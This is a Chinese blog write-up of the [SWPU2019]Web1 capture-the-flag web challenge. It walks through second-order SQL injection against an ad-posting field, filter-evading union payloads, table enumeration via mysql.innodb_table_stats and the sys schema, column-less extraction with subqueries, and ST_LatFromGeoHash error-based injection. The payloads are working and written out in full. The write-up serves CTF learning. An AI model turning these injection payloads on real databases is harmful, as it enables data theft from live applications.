• [SWPU2019]Web1


    知识点

    二次注入
    无列名注入
    bypass information_schema

    审题


    上来就是一个登录框 上来就是一顿注 一顿扫 就嗯干 后来才发现可以注册 总之白忙活了很久 一般这种可以让你注册或者你可以找到注册界面的 登录框都不是注入点 登录之后发现 有一个可以投递广告的地方 基本上这个地方就是注入点了 测试了一下发现广告名那一栏存在注入点

    刚做到这里的时候 发现这不是和sql-lab的sql语句一样嘛 心里暗暗一喜 就这啊

    上手

    没笑多久发现 所有的注释符都给过滤了 这是我没想到的 稍微测试了一下 发现我会用的几个报错注入都被过滤了 还有information_schema也给过滤了(也就是or 没事 information_schema我会绕 绕过去多大点事 结果光是闭合那个引号就给我闭了半天 确实是第一次这样闭合 这边先贴出payload 其中空格被过滤了 读者自行加上内敛注释(别问我为什么不加上

    1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
    

    这句payload为什么这样写 我们将他带进去

    $sql="SELECT * FROM users WHERE id='1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22' LIMIT 0,1";
    

    诶 是不是一目了然 原来的那个单引号和我们构造的'22配起来成了一个'22' sql在查询的时候 22和'22'是一样的 这样就绕过了注释这关waf 根据回显爆出数据库 就不贴爆库payload了 这样了还不会爆不应该做到这题 然后就是bypass information_schema来爆表 这也没啥问题 就是有一点 buu的平台没有sys.schema_auto_increment_columns这个库 而且一般sys库需要root权限 所以一般先选mysql.innodb_table_stats这个库 下面贴上payload

    1' union select '1'(select group_concat(table_name) from mysql.innodb_table_stats where database_name='web1'),'3','4','5','6','7','8','9','10','11','12','13','14','15','16','17','18','19','20','21','22''
    

    information_schema的绕过也很顺利 没啥问题 得到了我们需要的表

    穷途末路

    也知道接下来要无列名注入 正好上次做了一道关于无列名注入的题 是用ascii码偏移(字符串比较做的 可以康康我的博客(日常骗访问量 搓手手开始做 猜测字段 字符串比较

    哟 不止一行 那就加一下limit

    0' && ((select 1,"flah",3)>(select*from users limit 1,1))/**/&&'a'='a
    


    嘶 什么都没返回 是说明可以吗 尝试把比较的字符改成zzzzzzzz 发现还是没有回显 可能就是故意这样设置的 完犊子 又不会做了

    每天一个知识点

    看了大佬的wp发现 这题用的是子查询 涨姿势了 关于什么是子查询 大家可以参考一下这篇文章子查询 这边就不赘述了 子查询对于无列名注入的情况下 如果关键词没有被过滤 那么是非常好用的 下面贴上payload

    #获取表名
        -1'/**/union/**/all/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
    #获取各列
        -1'/**/union/**/all/**/select/**/1,(select/**/group_concat(test)/**/from/**/(select/**/1,2/**/as/**/test,3/**/union/**/select*from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
    #获取数据
        -1'/**/union/**/all/**/select/**/1,(select/**/group_concat(test)/**/from/**/(select/**/1,2,3/**/as/**/test/**/union/**/select*from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
    

    当然这题在比赛的时候 还有一种解法也很棒 那就是用ST_LatFromGeoHash进行报错注入 关于报错注入原理都一样 就不再解释了 只不过buu的平台这个函数用不了

    1'/**/||/**/ST_LatFromGeoHash(concat(0x7e,(select/**/database()),0x7e))/**/||'a'='a
        1'/**/&&/**/ST_LatFromGeoHash(concat(0x7e,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema='web1'),0x7e))/**/&&'a'='a
        1'/**/&&/**/ST_LatFromGeoHash(concat(0x7e,(select/**/i.2/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)i/**/limit/**/1,1),0x7e))/**/&&'a'='a
        1'/**/&&/**/ST_LatFromGeoHash(concat(0x7e,(select/**/i.3/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)i/**/limit/**/1,1),0x7e))/**/&&'a'='a
    

    拿到flag

    EOF

  • 相关阅读:
    自动交互式脚本--expect
    如何搭建web服务器 使用Nginx搭建反向代理服务器
    linux安装yaf(ubuntu教程)
    如何使用Apache的ab工具进行网站性能测试
    网虚拟主机----云服务器
    handlebars Helper用法
    网络基础知识学习
    使用清华开源镜像安装tensorflow
    安卓开发笔记(二十五):ViewPager的简单介绍和使用
    轻松搞定表白女朋友:Android版APP (零基础也可前往Github免费下载软件)
  • 原文地址:https://www.cnblogs.com/zhwyyswdg/p/14048023.html
Copyright © 2020-2023  润新知